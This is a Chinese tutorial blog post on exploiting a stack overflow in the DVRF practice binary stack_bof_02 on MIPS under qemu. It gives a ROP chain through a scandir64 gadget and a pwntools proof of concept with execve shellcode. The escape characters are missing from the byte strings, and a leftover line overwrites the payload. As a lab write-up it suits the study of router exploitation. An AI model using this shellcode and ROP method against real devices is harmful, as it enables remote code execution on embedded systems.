zoukankan      html  css  js  c++  java
  • 一步一步pwn路由器之rop技术实战

    前言


    本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


    这次程序也是 DVRF 里面的,他的路径是 pwnable/ShellCode_Required/stack_bof_02 , 同样是一个简单的栈溢出,不过这个程序里面没有提供 getshell 的函数,需要我们执行shellcode来实现。这个正好实战下前文: 一步一步pwn路由器之路由器环境修复&&rop技术分析,中分析的在mips下的通用的rop技术。

    正文

    首先使用 qemu 运行目标程序,并等待 gdb 来调试。

    sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02  "`cat ./pwnable/Intro/input`"
    

    使用pwntools的 cyclic 功能,找到偏移

    验证一下:

    payload = "A" * 508 + 'B' * 4
    
    with open("input", "wb") as f:
        f.write(payload)
    

    OK, 现在我们已经可以控制程序的 $pc寄存器了,下一步就是利用的方法了。使用前文的那个 rop 链,我们需要可以控制 $s1寄存器。但是这里我们并没有办法控制。不过在 这里提到,在 uclibcscandir 或者 scandir64 的函数末尾有一个 gadgets 可以操控几乎所有寄存器。

    .text:0000AFE0                 lw      $ra, 0x40+var_4($sp)
    .text:0000AFE4                 lw      $fp, 0x40+var_8($sp)
    .text:0000AFE8                 lw      $s7, 0x40+var_C($sp)
    .text:0000AFEC                 lw      $s6, 0x40+var_10($sp)
    .text:0000AFF0                 lw      $s5, 0x40+var_14($sp)
    .text:0000AFF4                 lw      $s4, 0x40+var_18($sp)
    .text:0000AFF8                 lw      $s3, 0x40+var_1C($sp)
    .text:0000AFFC                 lw      $s2, 0x40+var_20($sp)
    .text:0000B000                 lw      $s1, 0x40+var_24($sp)
    .text:0000B004                 lw      $s0, 0x40+var_28($sp)
    .text:0000B008                 jr      $ra
    .text:0000B00C                 addiu   $sp, 0x40
    .text:0000B00C  # End of function scandir64
    

    于是利用的思路就很明确了。首先使用这段 rop gadgets 设置好寄存器,然后进入前文所说的 rop 链中执行。
    最后的poc如下:

    #!/usr/bin/python
    from pwn import *
    context.endian = "little"
    context.arch = "mips"
    
    payload = ""
    
    # NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
    for i in range(30):
        payload += "x26x40x08x01"
    
    # execve shellcode translated from MIPS to MIPSEL
    # http://shell-storm.org/shellcode/files/shellcode-792.php
    payload += "xffxffx06x28"  # slti $a2, $zero, -1
    payload += "x62x69x0fx3c"  # lui $t7, 0x6962
    payload += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
    payload += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
    payload += "x73x68x0ex3c"  # lui $t6, 0x6873
    payload += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
    payload += "xf8xffxaexaf"  # sw $t6, -8($sp)
    payload += "xfcxffxa0xaf"  # sw $zero, -4($sp)
    payload += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
    payload += "xffxffx05x28"  # slti $a1, $zero, -1
    payload += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
    payload += "x0cx01x01x01"  # syscall 0x40404
    shellcode = payload
    
    
    padding = "O" * 508
    payload = padding
    payload += p32(0x766effe0)
    payload += 'B' * 0x18
    payload += 'A' * 4  # $s0
    payload += p32(0x7670303c)  # $s1
    payload += 'A' * 4  # $s2
    payload += 'A' * 4  # $s3
    payload += 'A' * 4  # $s4
    payload += 'A' * 4  # $s5
    payload += 'A' * 4  # $s6
    payload += 'A' * 4  # $s7
    payload += 'A' * 4  # $fp
    payload += p32(0x76714b10)  # $ra for jmp
    
    # stack for gadget 2
    payload += 'B' * 0x18
    payload += 'A' * 4  # $s0
    payload += p32(0x0002F2B0 + 0x766e5000)  # $s1
    payload += 'A' * 4  # $s2
    payload += p32(0x766fbdd0)  # $ra
    
    
    # stack for gadget 2 for second
    payload += 'B' * 0x18
    payload += p32(0x767064a0)  # $s0  for jmp stack
    payload += p32(0x0002F2B0 + 0x766e5000)  # $s1
    payload += 'A' * 4  # $s2
    payload += p32(0x766fbdd0)  # $ra for get stack addr
    
    # stack for shellcode
    payload += shellcode
    
    payload = "A" * 508 + 'B' * 4
    
    with open("input", "wb") as f:
        f.write(payload)
    
    
    # base 0x766e5000
    
    

    可以执行完毕 shellcode , 不过执行完后就异常了。神奇。

    总结

    在调试rop时可以先在调试器中修改寄存器,内存数据来模拟实现,然后在写到脚本里面。

    参考链接:

    https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/

  • 相关阅读:
    ArrayList removeRange方法分析
    LinkedHashMap源码分析(基于JDK1.6)
    LinkedList原码分析(基于JDK1.6)
    TreeMap源码分析——深入分析(基于JDK1.6)
    51NOD 2072 装箱问题 背包问题 01 背包 DP 动态规划
    51 NOD 1049 最大子段和 动态规划 模板 板子 DP
    51NOD 1006 最长公共子序列 Lcs 动态规划 DP 模板题 板子
    8月20日 训练日记
    CodeForces
    CodeForces
  • 原文地址:https://www.cnblogs.com/hac425/p/9416749.html
Copyright © 2011-2022 走看看